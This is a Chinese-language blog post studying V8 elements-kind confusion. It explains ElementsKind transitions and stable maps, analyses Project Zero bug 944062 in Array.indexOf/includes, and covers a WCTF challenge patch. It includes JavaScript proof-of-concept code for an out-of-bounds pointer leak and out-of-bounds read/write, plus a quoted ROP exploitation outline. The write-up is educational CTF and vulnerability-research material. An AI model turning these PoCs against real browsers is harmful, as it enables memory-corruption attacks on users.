盒子
盒子
文章目录
  1. 前言:
  2. 正文:
    1. Element Kind:
    2. Stable Map:
    3. BUG 944062:
    4. WCTF Independence Day:
      1. POC:
    5. Reference:

v8-Element Kind Confusion

前言:

好久没有更新文章了,主要是自己懒加上时间没有那么充裕了,现在抽空来写一写v8的一些东西。

正文:

最近看了一些Element Kind Confusion的知识点,还有一道WCTF上的题。现在写一下一些比较有意思的知识点。主要参考PGZ的一篇博文。

Element Kind:

先看定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
enum ElementsKind {
// The "fast" kind for elements that only contain SMI values. Must be first
// to make it possible to efficiently check maps for this kind.
PACKED_SMI_ELEMENTS,
HOLEY_SMI_ELEMENTS,

// The "fast" kind for tagged values. Must be second to make it possible to
// efficiently check maps for this and the PACKED_SMI_ELEMENTS kind
// together at once.
PACKED_ELEMENTS,
HOLEY_ELEMENTS,

// The "fast" kind for unwrapped, non-tagged double values.
PACKED_DOUBLE_ELEMENTS,
HOLEY_DOUBLE_ELEMENTS,

// The "slow" kind.
DICTIONARY_ELEMENTS,

// Elements kind of the "arguments" object (only in sloppy mode).
FAST_SLOPPY_ARGUMENTS_ELEMENTS,
SLOW_SLOPPY_ARGUMENTS_ELEMENTS,

// For string wrapper objects ("new String('...')"), the string's characters
// are overlaid onto a regular elements backing store.
FAST_STRING_WRAPPER_ELEMENTS,
SLOW_STRING_WRAPPER_ELEMENTS,

// Fixed typed arrays.
UINT8_ELEMENTS,
INT8_ELEMENTS,
UINT16_ELEMENTS,
INT16_ELEMENTS,
UINT32_ELEMENTS,
INT32_ELEMENTS,
FLOAT32_ELEMENTS,
FLOAT64_ELEMENTS,
UINT8_CLAMPED_ELEMENTS,

// Sentinel ElementsKind for objects with no elements.
NO_ELEMENTS,

// Derived constants from ElementsKind.
FIRST_ELEMENTS_KIND = PACKED_SMI_ELEMENTS,
LAST_ELEMENTS_KIND = UINT8_CLAMPED_ELEMENTS,
FIRST_FAST_ELEMENTS_KIND = PACKED_SMI_ELEMENTS,
LAST_FAST_ELEMENTS_KIND = HOLEY_DOUBLE_ELEMENTS,
FIRST_FIXED_TYPED_ARRAY_ELEMENTS_KIND = UINT8_ELEMENTS,
LAST_FIXED_TYPED_ARRAY_ELEMENTS_KIND = UINT8_CLAMPED_ELEMENTS,
TERMINAL_FAST_ELEMENTS_KIND = HOLEY_ELEMENTS
};

主要用前七种,后面的先不考虑。

先分为fastslow两大类,fast作为快速查找,线性查找,slow慢速查找,即用字典方式查找。

1
var a = [1,1,1,1];

这种是属于fast类,PACKED_SMI_ELEMENTS

1
2
3
4
DebugPrint: 0xfafc08b2c9: [JSArray]
- map: 0x082a549c2e69 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x10373c151809 <JSArray[0]>
- elements: 0x00fafc08b269 <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)]

再看:

1
2
3
4
5
6
a[10000] = 1;

DebugPrint: 0xfafc08b2c9: [JSArray]
- map: 0x082a549ca6b9 <Map(DICTIONARY_ELEMENTS)> [FastProperties]
- prototype: 0x10373c151809 <JSArray[0]>
- elements: 0x00fafc08da41 <NumberDictionary[28]> [DICTIONARY_ELEMENTS]

就变成了slowDICTIONARY_ELEMENTS

fast类还可以分,可以单向转化。

1
2
3
4
5
6
7
var a = [1,1,1,1];
a[0] = [1.1];

DebugPrint: 0x20f9d8dedf01: [JSArray]
- map: 0x082a549c2fa9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x10373c151809 <JSArray[0]>
- elements: 0x20f9d8dee341 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]

此时就变成了PACKED_DOUBLE_ELEMENTS

再往下:

1
2
3
4
5
6
7
var a = [1,1,1,1];
a[0] = {x:1};

DebugPrint: 0x20f9d8dedf01: [JSArray]
- map: 0x082a549c3049 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x10373c151809 <JSArray[0]>
- elements: 0x20f9d8dee721 <FixedArray[4]> [PACKED_ELEMENTS]

又转化成了PACKED_ELEMENTS。这里就相当于是对象数组,后面就无法继续转化了,而且以上三个之间只能按照我写的顺序转化,类型无法退回。

再来看另一种的:

1
2
3
4
5
6
7
var a = [1,1,1,1];
a[10] = 1;

DebugPrint: 0x20f9d8deef81: [JSArray]
- map: 0x082a549c2f59 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x10373c151809 <JSArray[0]>
- elements: 0x20f9d8def2c9 <FixedArray[32]> [HOLEY_SMI_ELEMENTS]

这就从PACKED类转化成了HOLEY类。之后的Doubletagged point都跟上面三种转化一样。用官方文档的图来表示就是:

element

只能单向转化。

Stable Map:

Maps are marked stable when the code to access their elements is already optimized.

当一个对象新添加一个属性的时候,他的map就会发生变化,比如从一个空对象添加一个属性就会从map0map1的过程此时,map1就会被标记为stable map,当再添加一个属性时map2就为stable mapmap1不再是stable map

1
2
3
4
5
6
7
8
9
10
11
12
var a = [1];
a.x = 1;

0x82a549ca7a9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 2
- enum length: invalid
- stable_map <------
- back pointer: 0x082a549c2e69 <Map(PACKED_SMI_ELEMENTS)>

再来就先开始看PGZ的bug944062的洞:

BUG 944062:

漏洞函数出现在indexOfinclude函数,在这里,(JSCallReducer):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// For search_variant == kIndexOf:
// ES6 Array.prototype.indexOf(searchElement[, fromIndex])
// #sec-array.prototype.indexof
// For search_variant == kIncludes:
// ES7 Array.prototype.inludes(searchElement[, fromIndex])
// #sec-array.prototype.includes
Reduction JSCallReducer::ReduceArrayIndexOfIncludes(
SearchVariant search_variant, Node* node) {
CallParameters const& p = CallParametersOf(node->op());
if (p.speculation_mode() == SpeculationMode::kDisallowSpeculation) {
return NoChange();
}

Node* receiver = NodeProperties::GetValueInput(node, 1);
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);

ZoneHandleSet<Map> receiver_maps;
NodeProperties::InferReceiverMapsResult result =
NodeProperties::InferReceiverMaps(broker(), receiver, effect,
&receiver_maps);
if (result == NodeProperties::kNoReceiverMaps) return NoChange();

这里的result == NodeProperties::kNoReceiverMaps。再看:

1
2
3
4
5
6
enum InferReceiverMapsResult {
kNoReceiverMaps, // No receiver maps inferred.
kReliableReceiverMaps, // Receiver maps can be trusted.
kUnreliableReceiverMaps // Receiver maps might have changed (side-effect),
// but instance type is reliable.
};

有这么几种。这里的kUnreliableReceiverMaps指的就是array可以从float element转变到dictionary element,是不可靠的,有side-effect

而在上面ReduceArrayIndexOfIncludes当中,对于kUnreliableReceiverMapslowering过程中是没有checkmap或者StableMapDependency的,也就是说,当我们在lowering之前把element kind改为dictionary elementfast->dictionary)。就会触发bug

我们再来看一下arrayIndexOf lowering之后的状态:

他是个builtin内置函数:

1
2
3
4
5
6
7
8
9
TF_BUILTIN(ArrayIncludesHoleyDoubles, ArrayIncludesIndexofAssembler) {
Node* elements = Parameter(Descriptor::kElements);
Node* search_element = Parameter(Descriptor::kSearchElement);
Node* array_length = Parameter(Descriptor::kLength);
Node* from_index = Parameter(Descriptor::kFromIndex);

GenerateHoleyDoubles(kIncludes, elements, search_element, array_length,
from_index);
}

往下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void ArrayIncludesIndexofAssembler::GenerateSmiOrObject(
SearchVariant variant, Node* context, Node* elements, Node* search_element,
Node* array_length, Node* from_index) {
VARIABLE(index_var, MachineType::PointerRepresentation(),
SmiUntag(from_index));
VARIABLE(search_num, MachineRepresentation::kFloat64);
Node* array_length_untagged = SmiUntag(array_length);

------

BIND(&ident_loop);
{
GotoIfNot(UintPtrLessThan(index_var.value(), array_length_untagged),
&return_not_found);
Node* element_k =
UnsafeLoadFixedArrayElement(CAST(elements), index_var.value());
GotoIf(WordEqual(element_k, search_element), &return_found);

Increment(&index_var);
Goto(&ident_loop);
}

继续往下后会发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
template <typename Array, typename T>
TNode<T> CodeStubAssembler::LoadArrayElement(TNode<Array> array,
int array_header_size,
Node* index_node,
int additional_offset,
ParameterMode parameter_mode,
LoadSensitivity needs_poisoning) {
CSA_ASSERT(this, IntPtrGreaterThanOrEqual(
ParameterToIntPtr(index_node, parameter_mode),
IntPtrConstant(0)));
DCHECK(IsAligned(additional_offset, kTaggedSize));
int32_t header_size = array_header_size + additional_offset - kHeapObjectTag;
TNode<IntPtrT> offset = ElementOffsetFromIndex(index_node, HOLEY_ELEMENTS,
parameter_mode, header_size);
CSA_ASSERT(this, IsOffsetInBounds(offset, LoadArrayLength(array),
array_header_size));
constexpr MachineType machine_type = MachineTypeOf<T>::value;
// TODO(gsps): Remove the Load case once LoadFromObject supports poisoning
if (needs_poisoning == LoadSensitivity::kSafe) {
return UncheckedCast<T>(LoadFromObject(machine_type, array, offset));
} else {
return UncheckedCast<T>(Load(machine_type, array, offset, needs_poisoning));
}
}

该函数是线性访问array的内容了。

如果在此之前我们将他改为dictionary element,就会造成out-of-read了。

构造利用out-of-read的过程是先构造array再构造arraybuffer,再用一些search value结尾控制搜索边界,搜索内容就是arraybufferbacking_store指针。可以使用smi类型爆破高二位字节,这样可以增高效率。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
let b = false;
let array = [Array, 1.2];
let ab = undefined;
findme = undefined;
function f(to_search) {
if (b) {
array[100000] = 1.1;
if (b == 1) {
}
ab = new ArrayBuffer(1<<30);
//%DebugPrint(ab);
findme = [0x1337, to_search];
};
return to_search;
};

%NeverOptimizeFunction(f);
function foo(to_search) {
return array.indexOf(f(to_search), 20);
}

print(foo(0x1337));
foo(0x1337);
%OptimizeFunctionOnNextCall(foo);
print(foo(0x1337));
b = true;
print(foo(0x1337));

这可以作为泄露示范。

再来看WCTF上的题。

WCTF Independence Day:

先看Patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
diff --git a/src/objects/code.cc b/src/objects/code.cc
index 24817ca65c..4079f6077d 100644
--- a/src/objects/code.cc
+++ b/src/objects/code.cc
@@ -925,6 +925,7 @@ void DependentCode::InstallDependency(Isolate* isolate,
const MaybeObjectHandle& code,
Handle<HeapObject> object,
DependencyGroup group) {
+#if 0
Handle<DependentCode> old_deps(DependentCode::GetDependentCode(object),
isolate);
Handle<DependentCode> new_deps =
@@ -932,6 +933,7 @@ void DependentCode::InstallDependency(Isolate* isolate,
// Update the list head if necessary.
if (!new_deps.is_identical_to(old_deps))
DependentCode::SetDependentCode(object, new_deps);
+#endif
}

Handle<DependentCode> DependentCode::InsertWeakCode(
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
commit 3794e5f0eeee3d421cc0d2a8d8b84ac82d37f10d
Author: Your Name <you@example.com>
Date: Sat Dec 15 18:21:08 2018 +0100

strip global in realms

diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 98bc56ad25..e72f528ae5 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1043,9 +1043,8 @@ MaybeLocal<Context> Shell::CreateRealm(
}
delete[] old_realms;
}
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
Local<Context> context =
- Context::New(isolate, nullptr, global_template, global_object);
+ Context::New(isolate, nullptr, ObjectTemplate::New(isolate), v8::MaybeLocal<Value>());
DCHECK(!try_catch.HasCaught());
if (context.IsEmpty()) return MaybeLocal<Context>();
InitializeModuleEmbedderData(context);

第一个Patch是把InstallDependency函数给清空了。暂且还不知道第二个函数的作用是什么,貌似是禁用了wasm

看第一个Patch函数的交叉引用,可以发现被大量compilation-dependencies.cc函数中的Install函数引用。因为是在v8/src/compiler之中所以可以确定和Turbofan有关,继续看Install函数的交叉引用,可以发现一个StableMapDependency

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class StableMapDependency final : public CompilationDependency {
public:
explicit StableMapDependency(const MapRef& map) : map_(map) {
DCHECK(map_.is_stable());
}

bool IsValid() const override { return map_.object()->is_stable(); }

---> void Install(const MaybeObjectHandle& code) const override {
SLOW_DCHECK(IsValid());
---> DependentCode::InstallDependency(map_.isolate(), code, map_.object(),
DependentCode::kPrototypeCheckGroup);
}

private:
MapRef map_;
};

继续看:

1
2
3
4
5
6
7
void CompilationDependencies::DependOnStableMap(const MapRef& map) {
if (map.CanTransition()) {
RecordDependency(new (zone_) StableMapDependency(map));
} else {
DCHECK(map.is_stable());
}
}

当看DependOnStableMap的引用时可以发现很多引用到的。其中有一个BuildCheckMaps的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void PropertyAccessBuilder::BuildCheckMaps(
Node* receiver, Node** effect, Node* control,
ZoneVector<Handle<Map>> const& receiver_maps) {
HeapObjectMatcher m(receiver);
if (m.HasValue()) {
MapRef receiver_map = m.Ref(broker()).map();
if (receiver_map.is_stable()) {
for (Handle<Map> map : receiver_maps) {
if (MapRef(broker(), map).equals(receiver_map)) {
----> dependencies()->DependOnStableMap(receiver_map);
return;
}
}
}
}
ZoneHandleSet<Map> maps;
CheckMapsFlags flags = CheckMapsFlag::kNone;
for (Handle<Map> map : receiver_maps) {
MapRef receiver_map(broker(), map);
maps.insert(receiver_map.object(), graph()->zone());
if (receiver_map.is_migration_target()) {
flags |= CheckMapsFlag::kTryMigrateInstance;
}
}
*effect = graph()->NewNode(simplified()->CheckMaps(flags, maps), receiver,
*effect, control);
}

该函数,如果mapstable map,那么可以替换为DependOnStableMap回调到map中。否则就新建CheckMaps结点。

再看看该函数引用,可以在js-native-context-specialization.cc中的ReduceElementAccess发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Reduction JSNativeContextSpecialization::ReduceElementAccess(
Node* node, Node* index, Node* value,
ElementAccessFeedback const& processed) {
DisallowHeapAccessIf no_heap_access(FLAG_concurrent_inlining);
DCHECK(node->opcode() == IrOpcode::kJSLoadProperty ||
node->opcode() == IrOpcode::kJSStoreProperty ||
node->opcode() == IrOpcode::kJSStoreInArrayLiteral ||
node->opcode() == IrOpcode::kJSHasProperty);

Node* receiver = NodeProperties::GetValueInput(node, 0);
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
Node* frame_state =
NodeProperties::FindFrameStateBefore(node, jsgraph()->Dead());

AccessMode access_mode = processed.keyed_mode.access_mode();
if ((access_mode == AccessMode::kLoad || access_mode == AccessMode::kHas) &&
receiver->opcode() == IrOpcode::kHeapConstant) {
Reduction reduction = ReduceElementLoadFromHeapConstant(
node, index, access_mode, processed.keyed_mode.load_mode());
if (reduction.Changed()) return reduction;
}

------------

// TODO(turbofan): The effect/control linearization will not find a
// FrameState after the StoreField or Call that is generated for the
// elements kind transition above. This is because those operators
// don't have the kNoWrite flag on it, even though they are not
// observable by JavaScript.
effect =
graph()->NewNode(common()->Checkpoint(), frame_state, effect, control);

// Perform map check on the {receiver}.
access_builder.BuildCheckMaps(receiver, &effect, control,
access_info.receiver_maps());

所以说,当mapstable map时,我们可以把check map结点给去掉,这时候再去更改element kind就可以造成element kind confusion

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var a = [1.1,2];

a.x = 1;

function test(idx) {
return a[idx];
}

for (i = 0; i < 0x100000; i++){
var data = test(1);
}

a[10000] = 1;

print(test(100));

即可越界读写。

利用的话就摘抄了一下,现在还不懂这利用是什么原理(用的并不是wasm,是一种新方法):

1
2
3
4
5
1. leak a binary pointer from the heap
2. read pointer to kernel32 from IAT
3. read kernelbase pointer from IAT of kernel32
4. There's a stack pointer stored in a struct at KERNELBASE!BasepCurrentTopLevelFilter+8
5. ROP

Reference:

  1. https://googleprojectzero.blogspot.com/2019/05/
  2. https://ssd-disclosure.com/archives/3379
  3. https://v8.dev/blog/elements-kinds
支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫